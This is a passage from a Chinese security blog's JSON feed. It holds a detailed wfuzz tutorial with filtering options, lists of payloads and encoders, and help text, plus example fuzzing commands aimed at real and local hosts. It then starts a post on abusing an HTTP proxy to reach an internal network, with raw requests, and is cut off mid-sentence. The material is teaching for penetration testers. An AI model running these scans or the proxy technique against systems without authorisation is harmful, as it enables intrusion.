code\uff09\uff0c<code>--sl<\/code>\uff08show lines\uff09\uff0c<code>--sw<\/code>\uff08show word\uff09\uff0c<code>--sh<\/code> \uff08show chars\uff09\u3002<\/p>\n\n<p><strong>\u4f7f\u7528Baseline(\u57fa\u51c6\u7ebf)<\/strong><\/p>\n\n<p>\u8fc7\u6ee4\u5668\u53ef\u4ee5\u662f\u67d0\u4e2aHTTP\u54cd\u5e94\u7684\u5f15\u7528\uff0c\u8fd9\u6837\u7684\u5f15\u7528\u6211\u4eec\u79f0\u4e3aBaseline\u3002<\/p>\n\n<p>\u4e4b\u524d\u7684\u4f7f\u7528<code>--hh<\/code>\u8fdb\u884c\u8fc7\u6ee4\u7684\u4f8b\u5b50\u4e2d\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u4ee3\u66ff\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w wordlist --hh BBB https:\/\/www.baidu.com\/FUZZ{404there}\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2018-10-28\/0x01.png\" alt=\"0x01\" \/><\/p>\n\n<p>\u8fd9\u6761\u547d\u4ee4\u7684\u610f\u601d\u5e94\u8be5\u5f88\u5bb9\u6613\u7406\u89e3\uff0c\u9996\u5148\u8981\u6e05\u695a\u57fa\u51c6\u7ebf\u662f\u4ec0\u4e48\uff1f\u6362\u4e2a\u540d\u5b57\uff1a\u6807\u51c6\u7ebf or \u53ca\u683c\u7ebf\u3002<\/p>\n\n<p>\u9996\u5148\u89e3\u91ca\u4e0b<code>https:\/\/www.baidu.com\/FUZZ{404there}<\/code>\u7684\u610f\u601d\uff0c\u8fd9\u91cc\u4ee3\u8868wfuzz\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u662f\u8bf7\u6c42<code>https:\/\/www.baidu.com\/404there<\/code>\u8fd9\u4e2a\u7f51\u5740\uff0c\u5728<code>{ }<\/code>\u5185\u7684\u503c\u7528\u6765\u6307\u5b9awfuzz\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u4e2d\u7684FUZZ\u5360\u4f4d\u7b26\uff0c\u800c\u8fd9\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u88ab\u6807\u8bb0\u4e3aBBB\uff08<strong>BBB\u4e0d\u80fd\u6362\u6210\u522b\u7684<\/strong>\uff09\u57fa\u51c6\u7ebf\uff1b\u5176\u6b21\u8fd9\u91cc\u4f7f\u7528\u7684\u53c2\u6570\u662f<code>--hh<\/code>\uff0c<strong>\u4e5f\u5c31\u662f\u4ee5BBB\u8fd9\u6761\u8bf7\u6c42\u4e2d\u7684Chars\u4e3a\u57fa\u51c6\uff0c\u5176\u4ed6\u8bf7\u6c42\u7684Chars\u503c\u4e0eBBB\u76f8\u540c\u5219\u9690\u85cf<\/strong>\u3002<\/p>\n\n<p><strong>\u4f7f\u7528\u6b63\u5219\u8868\u8fbe\u5f0f\u8fc7\u6ee4<\/strong><\/p>\n\n<p>wfuzz\u53c2\u6570<code>--ss<\/code>\u548c<code>--hs<\/code>\u53ef\u4ee5\u4f7f\u7528\u6b63\u5219\u8868\u8fbe\u5f0f\u6765\u5bf9\u8fd4\u56de\u7684\u7ed3\u679c\u8fc7\u6ee4\u3002<\/p>\n\n<p>e.g. \u5728\u8fd9\u91cc\u4e00\u4e2a\u7f51\u7ad9\u81ea\u5b9a\u4e49\u8fd4\u56de\u9875\u9762\u7684\u5185\u5bb9\u4e2d\u5305\u542b<code>Not Found<\/code>\uff0c\u60f3\u6839\u636e\u8fd9\u4e2a\u5185\u5bb9\u8fdb\u884c\u8fc7\u6ee4\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u7684\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w wordlist --hs \"Not Found\" http:\/\/127.0.0.1\/FUZZ\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2018-10-28\/0x02.png\" alt=\"0x02\" \/><\/p>\n\n<p>\u5f97\u51fa\u7ed3\u8bba\u4f7f\u7528\u65b9\u6cd5\uff1a<\/p>\n\n<pre><code>wfuzz -w wordlist --hs \u6b63\u5219\u8868\u8fbe\u5f0f URL\/FUZZ #\u9690\u85cf\nwfuzz -w wordlist --ss \u6b63\u5219\u8868\u8fbe\u5f0f URL\/FUZZ #\u663e\u793a\n<\/code><\/pre>\n\n<h2 id=\"\u624b\u518c\">\u624b\u518c<\/h2>\n\n<p>\u539f\u6587\u6765\u81ea\uff1aDigApis\u5b89\u5168 m0nst3r<\/p>\n\n<h3 id=\"\u6a21\u5757\u79cd\u7c7b\">\u6a21\u5757\u79cd\u7c7b<\/h3>\n\n<h4 id=\"payload\">payload<\/h4>\n\n<p>payload\u4e3awfuzz\u751f\u6210\u7684\u7528\u4e8e\u6d4b\u8bd5\u7684\u7279\u5b9a\u5b57\u7b26\u4e32\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u4f1a\u66ff\u4ee3\u88ab\u6d4b\u8bd5URL\u4e2d\u7684FUZZ\u5360\u4f4d\u7b26\u3002\n\u5f53\u524d\u7248\u672c\u4e2d\u7684wfuzz\u4e2d\u53ef\u7528payloads\u5217\u8868\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">Available payloads:\n  Name            | Summary                                                                           \n------------------------------------------------------------------------------------------------------\n  guitab          | \u4ece\u53ef\u89c6\u5316\u7684\u6807\u7b7e\u680f\u4e2d\u8bfb\u53d6\u8bf7\u6c42                                \n  dirwalk         | \u9012\u5f52\u83b7\u5f97\u672c\u5730\u67d0\u4e2a\u6587\u4ef6\u5939\u4e2d\u7684\u6587\u4ef6\u540d                            \n  file            | \u83b7\u53d6\u4e00\u4e2a\u6587\u4ef6\u5f53\u4e2d\u7684\u6bcf\u4e2a\u8bcd                                                    \n  autorize        | \u83b7\u53d6autorize\u7684\u6d4b\u8bd5\u7ed3\u679cReturns fuzz results' from autororize.                                            \n  wfuzzp          | \u4ece\u4e4b\u524d\u4fdd\u5b58\u7684wfuzz\u4f1a\u8bdd\u4e2d\u83b7\u53d6\u6d4b\u8bd5\u7ed3\u679c\u7684URL                   \n  ipnet           | \u83b7\u5f97\u4e00\u4e2a\u6307\u5b9a\u7f51\u7edc\u7684IP\u5730\u5740\u5217\u8868                                        \n  bing            | \u83b7\u5f97\u4e00\u4e2a\u4f7f\u7528bing API\u641c\u7d22\u7684URL\u5217\u8868 (\u9700\u8981 api key).                   \n  stdin           | \u83b7\u5f97\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u7684\u6761\u76ee                                                \n  list            | \u83b7\u5f97\u4e00\u4e2a\u5217\u8868\u4e2d\u7684\u6bcf\u4e00\u4e2a\u5143\u7d20\uff0c\u5217\u8868\u7528\u4ee5 - \u7b26\u53f7\u5206\u683c                       \n  hexrand         | \u4ece\u4e00\u4e2a\u6307\u5b9a\u7684\u8303\u56f4\u4e2d\u968f\u673a\u83b7\u53d6\u4e00\u4e2ahex\u503c                                  \n  range           | \u83b7\u5f97\u6307\u5b9a\u8303\u56f4\u5185\u7684\u6bcf\u4e00\u4e2a\u6570\u503c                                          \n  names           | \u4ece\u4e00\u4e2a\u4ee5 - \u5206\u9694\u7684\u5217\u8868\u4e2d\uff0c\u83b7\u53d6\u4ee5\u7ec4\u5408\u65b9\u5f0f\u751f\u6210\u7684\u6240\u6709usernames\u503c\n  burplog         | \u4eceBurpSuite\u7684\u8bb0\u5f55\u4e2d\u83b7\u5f97\u6d4b\u8bd5\u7ed3\u679c                                             \n  permutation     | \u83b7\u5f97\u4e00\u4e2a\u5728\u6307\u5b9acharset\u548clength\u65f6\u7684\u5b57\u7b26\u7ec4\u5408                             \n  buffer_overflow | \u83b7\u5f97\u4e00\u4e2a\u5305\u542b\u6307\u5b9a\u4e2a\u6570\u4e2aA\u7684\u5b57\u7b26\u4e32.                    \n  hexrange        | \u83b7\u5f97\u6307\u5b9a\u8303\u56f4\u5185\u7684\u6bcf\u4e00\u4e2ahex\u503c                                   \n  iprange         | \u83b7\u5f97\u6307\u5b9aIP\u8303\u56f4\u5185\u7684IP\u5730\u5740\u5217\u8868                                 \n  burpstate       | \u4eceBurpSuite\u7684\u72b6\u6001\u4e0b\u83b7\u5f97\u6d4b\u8bd5\u7ed3\u679c\n<\/code><\/pre>\n\n<h4 id=\"encoder\">encoder<\/h4>\n\n<p>encoder\u7684\u4f5c\u7528\u662f\u5c06payload\u8fdb\u884c\u7f16\u7801\u6216\u52a0\u5bc6\u3002\nwfuzz\u7684encoder\u5217\u8868\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">Available encoders:\n  Category      | Name                      | Summary                                                                           \n------------------------------------------------------------------------------------------------------------------------\n  url_safe, url | urlencode                 | \u7528`%xx`\u7684\u65b9\u5f0f\u66ff\u6362\u7279\u6b8a\u5b57\u7b26\uff0c \u5b57\u6bcd\/\u6570\u5b57\/\u4e0b\u5212\u7ebf\/\u534a\u89d2\u70b9\/\u51cf\u53f7\u4e0d\u66ff\u6362\n  url_safe, url | double urlencode             | \u7528`%25xx`\u7684\u65b9\u5f0f\u66ff\u6362\u7279\u6b8a\u5b57\u7b26\uff0c \u5b57\u6bcd\/\u6570\u5b57\/\u4e0b\u5212\u7ebf\/\u534a\u89d2\u70b9\/\u51cf\u53f7\u4e0d\u66ff\u6362\n  url              | uri_double_hex            | \u7528`%25xx`\u7684\u65b9\u5f0f\u5c06\u6240\u6709\u5b57\u7b26\u8fdb\u884c\u7f16\u7801\n  html          | html_escape                | \u5c06`&amp;`\uff0c`&lt;`\uff0c`&gt;`\u8f6c\u6362\u4e3aHTML\u5b89\u5168\u7684\u5b57\u7b26\n  html            | html_hexadecimal             | \u7528 `&amp;#xx;` \u7684\u65b9\u5f0f\u66ff\u6362\u6240\u6709\u5b57\u7b26\n  hashes         | base64                    | \u5c06\u7ed9\u5b9a\u7684\u5b57\u7b26\u4e32\u4e2d\u7684\u6240\u6709\u5b57\u7b26\u8fdb\u884cbase64\u7f16\u7801\n  url             | doble_nibble_hex             | \u5c06\u6240\u6709\u5b57\u7b26\u4ee5`%%dd%dd`\u683c\u5f0f\u8fdb\u884c\u7f16\u7801\n  db             | mssql_char                | \u5c06\u6240\u6709\u5b57\u7b26\u8f6c\u6362\u4e3aMsSQL\u8bed\u6cd5\u7684`char(xx)`\u5f62\u5f0f\n  url             | utf8                        | \u5c06\u6240\u6709\u5b57\u7b26\u4ee5`\\u00xx` \u683c\u5f0f\u8fdb\u884c\u7f16\u7801\n  hashes         | md5                         | \u5c06\u7ed9\u5b9a\u7684\u5b57\u7b26\u4e32\u8fdb\u884cmd5\u52a0\u5bc6\n  default         | random_upper                | \u5c06\u5b57\u7b26\u4e32\u4e2d\u968f\u673a\u5b57\u7b26\u53d8\u4e3a\u5927\u5199\n  url             | first_nibble_hex          | \u5c06\u6240\u6709\u5b57\u7b26\u4ee5`%%dd?` \u683c\u5f0f\u8fdb\u884c\u7f16\u7801\n  default         | hexlify                    | \u6bcf\u4e2a\u6570\u636e\u7684\u5355\u4e2a\u6bd4\u7279\u8f6c\u6362\u4e3a\u4e24\u4e2a\u6bd4\u7279\u8868\u793a\u7684hex\u8868\u793a\n  url             | second_nibble_hex         | \u5c06\u6240\u6709\u5b57\u7b26\u4ee5`%?%dd` \u683c\u5f0f\u8fdb\u884c\u7f16\u7801\n  url             | uri_hex                     | \u5c06\u6240\u6709\u5b57\u7b26\u4ee5`%xx` \u683c\u5f0f\u8fdb\u884c\u7f16\u7801\n  default         | none                         | \u4e0d\u8fdb\u884c\u4efb\u4f55\u7f16\u7801\n  hashes         | sha1                        | \u5c06\u5b57\u7b26\u4e32\u8fdb\u884csha1\u52a0\u5bc6\n  url             | utf8_binary                | \u5c06\u5b57\u7b26\u4e32\u4e2d\u7684\u6240\u6709\u5b57\u7b26\u4ee5 `\\uxx` \u5f62\u5f0f\u8fdb\u884c\u7f16\u7801\n  url             | uri_triple_hex             | \u5c06\u6240\u6709\u5b57\u7b26\u4ee5`%25%xx%xx` \u683c\u5f0f\u8fdb\u884c\u7f16\u7801\n  url             | uri_unicode                | \u5c06\u6240\u6709\u5b57\u7b26\u4ee5`%u00xx` \u683c\u5f0f\u8fdb\u884c\u7f16\u7801\n  html             | html_decimal                | \u5c06\u6240\u6709\u5b57\u7b26\u4ee5 `&amp;#dd; ` \u683c\u5f0f\u8fdb\u884c\u7f16\u7801\n  db             | oracle_char                | \u5c06\u6240\u6709\u5b57\u7b26\u8f6c\u6362\u4e3aOracle\u8bed\u6cd5\u7684`chr(xx)`\u5f62\u5f0f\n  db             | mysql_char                 | \u5c06\u6240\u6709\u5b57\u7b26\u8f6c\u6362\u4e3aMySQL\u8bed\u6cd5\u7684`char(xx)`\u5f62\u5f0f\n<\/code><\/pre>\n\n<h4 id=\"iterator\">iterator<\/h4>\n\n<p>wfuzz\u7684iterator\u63d0\u4f9b\u4e86\u9488\u5bf9\u591a\u4e2apayload\u7684\u5904\u7406\u65b9\u5f0f\u3002\nitorators\u7684\u5217\u8868\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">Available iterators:\n\n  Name    | Summary\n----------------------------------------------------------------------------------------------\n  product | Returns an iterator cartesian product of input iterables.\n  zip     | Returns an iterator that aggregates elements from each of the iterables.\n  chain   | Returns an iterator returns elements from the first iterable until it is exhaust\n          | ed, then proceeds to the next iterable, until all of the iterables are exhausted\n          | .\n<\/code><\/pre>\n\n<h4 id=\"printer\">printer<\/h4>\n\n<p>wfuzz\u7684printers\u7528\u4e8e\u63a7\u5236\u8f93\u51fa\u6253\u5370\u3002\nprinters\u5217\u8868\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">Available printers:\n  Name      | Summary                             \n--------------------------------------------------\n  raw       | `Raw` output format\n  json      | Results in `json` format\n  csv       | `CSV` printer ftw\n  magictree | Prints results in `magictree` format\n  html      | Prints results in `html` format\n<\/code><\/pre>\n\n<h4 id=\"scripts\">scripts<\/h4>\n\n<p>scripts\u5217\u8868\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">Available scripts:\n  Category                   | Name          | Summary\n----------------------------------------------------------------------------------------------------\n  default, passive           | cookies       | \u67e5\u627e\u65b0\u7684cookies\n  default, passive           | errors        | \u67e5\u627e\u9519\u8bef\u4fe1\u606f\n  passive                    | grep          | HTTP response grep\n  active                     | screenshot    | \u7528linux cutycapt tool \u8fdb\u884c\u5c4f\u5e55\u6293\u53d6 \n  default, active, discovery | links         | \u89e3\u6790HTML\u5e76\u67e5\u627e\u65b0\u7684\u5185\u5bb9\n  default, active, discovery | wc_extractor  | \u89e3\u6790subversion\u7684wc.db\u6587\u4ef6\n  default, passive           | listing       | \u67e5\u627e\u5217\u76ee\u5f55\u6f0f\u6d1e\n  default, passive           | title         | \u89e3\u6790HTML\u9875\u9762\u7684title\n  default, active, discovery | robots        | \u89e3\u6790robots.txt\u6587\u4ef6\u6765\u67e5\u627e\u65b0\u5185\u5bb9\n  default, passive           | headers       | \u67e5\u627e\u670d\u52a1\u5668\u7684\u8fd4\u56de\u5934\n  default, active, discovery | cvs_extractor | \u89e3\u6790 CVS\/Entries \u6587\u4ef6\n  default, active, discovery | svn_extractor | \u89e3\u6790 .svn\/entries \u6587\u4ef6\n  active, discovery          | backups       | \u67e5\u627e\u5df2\u77e5\u7684\u5907\u4efd\u6587\u4ef6\u540d\n  default, active, discovery | sitemap       | \u89e3\u6790 sitemap.xml \u6587\u4ef6\n<\/code><\/pre>\n\n<h3 id=\"\u5185\u7f6e\u5de5\u5177\">\u5185\u7f6e\u5de5\u5177<\/h3>\n\n<h4 id=\"wfencode-\u5de5\u5177\">wfencode \u5de5\u5177<\/h4>\n\n<p>\u8fd9\u662fwfuzz\u81ea\u5e26\u7684\u4e00\u4e2a\u52a0\u5bc6\/\u89e3\u5bc6\uff08\u7f16\u7801\/\u53cd\u7f16\u7801\uff09\u5de5\u5177\uff0c\u76ee\u524d\u652f\u6301\u5185\u5efa\u7684encoders\u7684\u52a0\/\u89e3\u5bc6\u3002<\/p>\n\n<pre><code class=\"language-shell\">wfencode -e base64 123456\n[RES] MTIzNDU2\nwfencode -d base64 MTIzNDU2\n[RES] 123456\n<\/code><\/pre>\n\n<hr \/>\n\n<h4 id=\"wfpayload\u5de5\u5177\">wfpayload\u5de5\u5177<\/h4>\n\n<p>wfpayload\u662fpayload\u751f\u6210\u5de5\u5177<\/p>\n\n<pre><code class=\"language-shell\">wfpayload -z range,0-10\n[RES]\n0\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n<\/code><\/pre>\n\n<h4 id=\"wxfuzz-\u5de5\u5177\">wxfuzz \u5de5\u5177<\/h4>\n\n<p>\u8fd9\u4e2a\u770b\u6e90\u7801\u662f\u4e00\u4e2awxPython\u5316\u7684wfuzz\uff0c\u4e5f\u5c31\u662fGUI\u56fe\u5f62\u754c\u9762\u7684wfuzz\u3002\u76ee\u524d\u9700\u8981wxPython\u6700\u65b0\u7248\u672c\u624d\u80fd\u4f7f\u7528\uff0c\u4f46\u662f\u5728ParrotOS\u548cKali\u4e0a\u90fd\u65e0\u6cd5\u6b63\u5e38\u5b89\u88c5\u6210\u529f\uff0c\u95ee\u9898\u5df2\u5728GitHub\u63d0\u4ea4Issue\uff0c\u671f\u5f85\u5f00\u53d1\u8005\u7684\u56de\u590d\u4e2d\u2026<\/p>\n\n<h3 id=\"wfuzz\u547d\u4ee4\u4e2d\u6587\u5e2e\u52a9\">wfuzz\u547d\u4ee4\u4e2d\u6587\u5e2e\u52a9<\/h3>\n\n<pre><code class=\"language-shell\">Usage:    wfuzz [options] -z payload,params &lt;url&gt;\n    FUZZ, ..., FUZnZ              payload\u5360\u4f4d\u7b26\uff0cwfuzz\u4f1a\u7528\u6307\u5b9a\u7684payload\u4ee3\u66ff\u76f8\u5e94\u7684\u5360\u4f4d\u7b26\uff0cn\u4ee3\u8868\u6570\u5b57. \n    FUZZ{baseline_value}     FUZZ \u4f1a\u88ab baseline_value\u66ff\u6362\uff0c\u5e76\u5c06\u6b64\u4f5c\u4e3a\u6d4b\u8bd5\u8fc7\u7a0b\u4e2d\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u6765\u6d4b\u8bd5\uff0c\u53ef\u7528\u6765\u4f5c\u4e3a\u8fc7\u6ee4\u7684\u4e00\u4e2a\u57fa\u7840\u3002\nOptions:\n    -h\/--help            : \u5e2e\u52a9\u6587\u6863\n    --help                : \u9ad8\u7ea7\u5e2e\u52a9\u6587\u6863\n    --version            : Wfuzz\u8be6\u7ec6\u7248\u672c\u4fe1\u606f\n    -e &lt;type&gt;            :  \u663e\u793a\u53ef\u7528\u7684encoders\/payloads\/iterators\/printers\/scripts\u5217\u8868\n    --recipe &lt;filename&gt;        : \u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6\u53c2\u6570\n    --dump-recipe &lt;filename&gt;    : \u6253\u5370\u5f53\u524d\u7684\u53c2\u6570\u5e76\u4fdd\u5b58\u6210\u6587\u6863\n    --oF &lt;filename&gt;               : \u5c06\u6d4b\u8bd5\u7ed3\u679c\u4fdd\u5b58\u5230\u6587\u4ef6\uff0c\u8fd9\u4e9b\u7ed3\u679c\u53ef\u88abwfuzz payload \u5904\u7406\n    -c                : \u5f69\u8272\u5316\u8f93\u51fa\n    -v                : \u8be6\u7ec6\u8f93\u51fa\n    -f filename,printer         : \u5c06\u7ed3\u679c\u4ee5printer\u7684\u65b9\u5f0f\u4fdd\u5b58\u5230filename (\u9ed8\u8ba4\u4e3araw printer).\n    -o printer                  : \u8f93\u51fa\u7279\u5b9aprinter\u7684\u8f93\u51fa\u7ed3\u679c\n    --interact            : (\u6d4b\u8bd5\u529f\u80fd) \u5982\u679c\u542f\u7528\uff0c\u6240\u6709\u7684\u6309\u952e\u5c06\u4f1a\u88ab\u6355\u83b7\uff0c\u8fd9\u4f7f\u5f97\u4f60\u80fd\u591f\u4e0e\u7a0b\u5e8f\u4ea4\u4e92\n    --dry-run            : \u6253\u5370\u6d4b\u8bd5\u7ed3\u679c\uff0c\u800c\u5e76\u4e0d\u53d1\u9001HTTP\u8bf7\u6c42\n    --prev                : \u6253\u5370\u4e4b\u524d\u7684HTTP\u8bf7\u6c42\uff08\u4ec5\u5f53\u4f7f\u7528payloads\u6765\u751f\u6210\u6d4b\u8bd5\u7ed3\u679c\u65f6\u4f7f\u7528\uff09\n    -p addr                : \u4f7f\u7528\u4ee3\u7406\uff0c\u683c\u5f0f ip:port:type. \u53ef\u8bbe\u7f6e\u591a\u4e2a\u4ee3\u7406\uff0ctype\u53ef\u53d6\u7684\u503c\u4e3aSOCKS4,SOCKS5 or HTTP\uff08\u9ed8\u8ba4\uff09\n    -t N                : \u6307\u5b9a\u8fde\u63a5\u7684\u5e76\u53d1\u6570\uff0c\u9ed8\u8ba4\u4e3a10\n    -s N                : \u6307\u5b9a\u8bf7\u6c42\u7684\u95f4\u9694\u65f6\u95f4\uff0c\u9ed8\u8ba4\u4e3a0\n    -R depth            : \u9012\u5f52\u8def\u5f84\u63a2\u6d4b\uff0cdepth\u6307\u5b9a\u6700\u5927\u9012\u5f52\u6570\u91cf\n    -L,--follow            : \u8ddf\u968fHTTP\u91cd\u5b9a\u5411\n    -Z                : \u626b\u63cf\u6a21\u5f0f (\u8fde\u63a5\u9519\u8bef\u5c06\u88ab\u5ffd\u89c6).\n    --req-delay N            : \u8bbe\u7f6e\u53d1\u9001\u8bf7\u6c42\u5141\u8bb8\u7684\u6700\u5927\u65f6\u95f4\uff0c\u9ed8\u8ba4\u4e3a 90\uff0c\u5355\u4f4d\u4e3a\u79d2.\n    --conn-delay N              : \u8bbe\u7f6e\u8fde\u63a5\u7b49\u5f85\u7684\u6700\u5927\u65f6\u95f4\uff0c\u9ed8\u8ba4\u4e3a 90\uff0c\u5355\u4f4d\u4e3a\u79d2.\n    -A                : \u662f --script=default -v -c \u7684\u7b80\u5199\n    --script=            : \u4e0e --script=default \u7b49\u4ef7\n    --script=&lt;plugins&gt;        : \u8fdb\u884c\u811a\u672c\u626b\u63cf\uff0c &lt;plugins&gt; \u662f\u4e00\u4e2a\u4ee5\u9017\u53f7\u5206\u5f00\u7684\u63d2\u4ef6\u6216\u63d2\u4ef6\u5206\u7c7b\u5217\u8868\n    --script-help=&lt;plugins&gt;        : \u663e\u793a\u811a\u672c\u7684\u5e2e\u52a9\n    --script-args n1=v1,...     : \u7ed9\u811a\u672c\u4f20\u9012\u53c2\u6570. ie. --script-args grep.regex=\"&lt;A href=\\\"(.*?)\\\"&gt;\"\n    -u url                      : \u6307\u5b9a\u8bf7\u6c42\u7684URL\n    -m iterator            : \u6307\u5b9a\u4e00\u4e2a\u5904\u7406payloads\u7684\u8fed\u4ee3\u5668 (\u9ed8\u8ba4\u4e3aproduct)\n    -z payload            : \u4e3a\u6bcf\u4e00\u4e2a\u5360\u4f4d\u7b26\u6307\u5b9a\u4e00\u4e2apayload\uff0c\u683c\u5f0f\u4e3a name[,parameter][,encoder].\n                      \u7f16\u7801\u53ef\u4ee5\u662f\u4e00\u4e2a\u5217\u8868, \u5982 md5-sha1. \u8fd8\u53ef\u4ee5\u4e32\u8054\u8d77\u6765, \u5982. md5@sha1.\n                      \u8fd8\u53ef\u4f7f\u7528\u7f16\u7801\u5404\u7c7b\u540d\uff0c\u5982 url\n                                      \u4f7f\u7528help\u4f5c\u4e3apayload\u6765\u663e\u793apayload\u7684\u8be6\u7ec6\u5e2e\u52a9\u4fe1\u606f\uff0c\u8fd8\u53ef\u4f7f\u7528--slice\u8fdb\u884c\u8fc7\u6ee4\n    --zP &lt;params&gt;            : \u7ed9\u6307\u5b9a\u7684payload\u8bbe\u7f6e\u53c2\u6570\u3002\u5fc5\u987b\u8ddf\u5728 -z \u6216-w \u53c2\u6570\u540e\u9762\n    --slice &lt;filter&gt;        : \u4ee5\u6307\u5b9a\u7684\u8868\u8fbe\u5f0f\u8fc7\u6ee4payload\u7684\u4fe1\u606f\uff0c\u5fc5\u987b\u8ddf\u5728-z \u53c2\u6570\u540e\u9762\n    -w wordlist            : \u6307\u5b9a\u4e00\u4e2awordlist\u6587\u4ef6\uff0c\u7b49\u540c\u4e8e -z file,wordlist\n    -V alltype            : \u66b4\u529b\u6d4b\u8bd5\u6240\u6709GET\/POST\u53c2\u6570\uff0c\u65e0\u9700\u6307\u5b9a\u5360\u4f4d\u7b26\n    -X method            : \u6307\u5b9a\u4e00\u4e2a\u53d1\u9001\u8bf7\u6c42\u7684HTTP\u65b9\u6cd5\uff0c\u5982HEAD\u6216FUZZ\n    -b cookie            : \u6307\u5b9a\u8bf7\u6c42\u7684cookie\u53c2\u6570\uff0c\u53ef\u6307\u5b9a\u591a\u4e2acookie\n    -d postdata             : \u8bbe\u7f6e\u7528\u4e8e\u6d4b\u8bd5\u7684POST data (ex: \"id=FUZZ&amp;catalogue=1\")\n    -H header              : \u8bbe\u7f6e\u7528\u4e8e\u6d4b\u8bd5\u8bf7\u6c42\u7684HEADER (ex:\"Cookie:id=1312321&amp;user=FUZZ\"). \u53ef\u6307\u5b9a\u591a\u4e2aHEADER.\n    --basic\/ntlm\/digest auth    : \u683c\u5f0f\u4e3a \"user:pass\" or \"FUZZ:FUZZ\" or \"domain\\FUZ2Z:FUZZ\"\n    --hc\/hl\/hw\/hh N[,N]+        : \u4ee5\u6307\u5b9a\u7684\u8fd4\u56de\u7801\/\u884c\u6570\/\u5b57\u6570\/\u5b57\u7b26\u6570\u4f5c\u4e3a\u5224\u65ad\u6761\u4ef6\u9690\u85cf\u8fd4\u56de\u7ed3\u679c (\u7528 BBB \u6765\u63a5\u6536 baseline)\n    --sc\/sl\/sw\/sh N[,N]+        : \u4ee5\u6307\u5b9a\u7684\u8fd4\u56de\u7801\/\u884c\u6570\/\u5b57\u6570\/\u5b57\u7b26\u6570\u4f5c\u4e3a\u5224\u65ad\u6761\u4ef6\u663e\u793a\u8fd4\u56de\u7ed3\u679c (\u7528 BBB \u6765\u63a5\u6536 baseline)\n    --ss\/hs regex            : \u663e\u793a\u6216\u9690\u85cf\u8fd4\u56de\u7ed3\u679c\u4e2d\u7b26\u5408\u6307\u5b9a\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u8fd4\u56de\u7ed3\u679c\n    --filter &lt;filter&gt;        : \u663e\u793a\u6216\u9690\u85cf\u7b26\u5408\u6307\u5b9afilter\u8868\u8fbe\u5f0f\u7684\u8fd4\u56de\u7ed3\u679c (\u7528 BBB \u6765\u63a5\u6536 baseline)\n    --prefilter &lt;filter&gt;        : \u7528\u6307\u5b9a\u7684filter\u8868\u8fbe\u5f0f\u5728\u6d4b\u8bd5\u4e4b\u524d\u8fc7\u6ee4\u67d0\u4e9b\u6d4b\u8bd5\u6761\u76ee\n<\/code><\/pre>\n","pubDate":"2018-10-28T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-10-28\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-10-28\/1"},{"title":"\u523a\u900f\u5185\u7f51\u7684HTTP\u4ee3\u7406","description":"<h1 id=\"\u4ece\u5076\u7136\u51fa\u53d1\">\u4ece\u5076\u7136\u51fa\u53d1<\/h1>\n\n<p>\u5728\u505a\u6d4b\u8bd5\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u8fd9\u6837\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u539f\u8bf7\u6c42\u62a5\u6587\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-http\">GET \/ HTTP\/1.1\nHost: attack_website\n[... HEADER ...]\n\n...\n<\/code><\/pre>\n\n<p>\u5f53\u65f6\u6700\u521d\u76ee\u7684\u662f\u60f3\u6d4bSSRF\u7684\uff0c\u4f46\u662f\u7ecf\u8fc7\u6d4b\u8bd5\u6ca1\u53d1\u73b0\u5b58\u5728\u6f0f\u6d1e\u540e\u6765\u60f3\u8d77\u4e4b\u524d\u770b\u8fc7\u7684\u4e00\u4e9b\u6f0f\u6d1e\u6848\u4f8b\uff0c\u5c06\u8bf7\u6c42\u62a5\u6587\u4e2d\u7684URI\u90e8\u5206\u66ff\u6362\u6210\u4e86\u7f51\u5740\uff1a<\/p>\n\n<p>http:\/\/gh0st.cn<\/p>\n\n<p>\u5c31\u53d8\u6210\u4e86\u5982\u4e0b\u7684\u8bf7\u6c42\uff1a<\/p>\n\n<pre><code class=\"language-http\">GET http:\/\/gh0st.cn HTTP\/1.1\nHost: attack_website\n[... HEADER ...]\n\n...\n<\/code><\/pre>\n\n<p>\u5728BurpSuite\u91cc\u8fdb\u884c\u91cd\u653e\u6d4b\u8bd5\u53d1\u73b0\u8fd4\u56de\u7684\u54cd\u5e94\u6b63\u6587\u5c31\u662f http:\/\/gh0st.cn 